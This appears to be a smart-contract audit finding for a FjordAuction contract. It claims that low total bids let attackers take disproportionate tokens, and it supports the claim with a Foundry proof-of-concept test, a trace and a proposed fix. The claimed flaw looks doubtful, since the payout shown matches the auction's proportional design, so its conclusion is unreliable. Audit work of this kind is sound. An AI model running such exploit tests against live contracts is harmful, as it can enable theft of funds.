Summary
if the total number of bids (totalBids) is very low or manipulated to be extremely low, the multiplier can be excessively high, leading to a disproportionate distribution of tokens. This vulnerability could allow a malicious actor to exploit the auction, receiving an unfairly large number of tokens relative to their bid.
Vulnerability Details
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L181-L202
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
Because this vulnerability exists, as long as all participating addresses (can be attackers or others) use very small bidAmount, this vulnerability can be exploited.
Exp:
• Multiple attackers use different addresses to place small bids.
• When the auction ends, the attackers benefit from the high multiplier, receiving a large amount of tokens relative to their small bids.
• This allows them to exploit the auction, claiming disproportionately large token rewards compared to their actual bid amounts.
forge test --match-path test/unit/auction.t.sol --match-contract TestAuction --match-test "testBug" -vvvv
function testBug() public {
address bidder1=address(0x11);
address bidder2=address(0x22);
address bidder3=address(0x33);
uint256 bidAmount=1;
deal(address(fjordPoints), bidder1, bidAmount);
deal(address(fjordPoints), bidder2, bidAmount);
deal(address(fjordPoints), bidder3, bidAmount);
vm.startPrank(bidder1);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
vm.startPrank(bidder3);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
skip(biddingTime);
auction.auctionEnd();
vm.startPrank(bidder1);
auction.claimTokens();
}
├─ [37396] FjordAuction::claimTokens()
│ ├─ [29816] ERC20BurnableMock::transfer(0x0000000000000000000000000000000000000011, 333333333333333333333 [3.333e20])
│ │ ├─ emit Transfer(from: FjordAuction: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: 0x0000000000000000000000000000000000000011, value: 333333333333333333333 [3.333e20])
│ │ └─ ← [Return] true
│ ├─ emit TokensClaimed(bidder: 0x0000000000000000000000000000000000000011, amount: 333333333333333333333 [3.333e20])
Impact
It could allow a single or multiple malicious actors to drain the entire auction token pool with minimal investment, thereby undermining the fairness and purpose of the auction.
Tools Used
Manual review
Recommendations
To implement a minimum total bids threshold, you can modify the auctionEnd() function to check if the total bids have met the required threshold before ending the auction.
uint256 public minTotalBids = 100 * PRECISION_18;
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids < minTotalBids) {
revert NotEnoughBids();
}
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}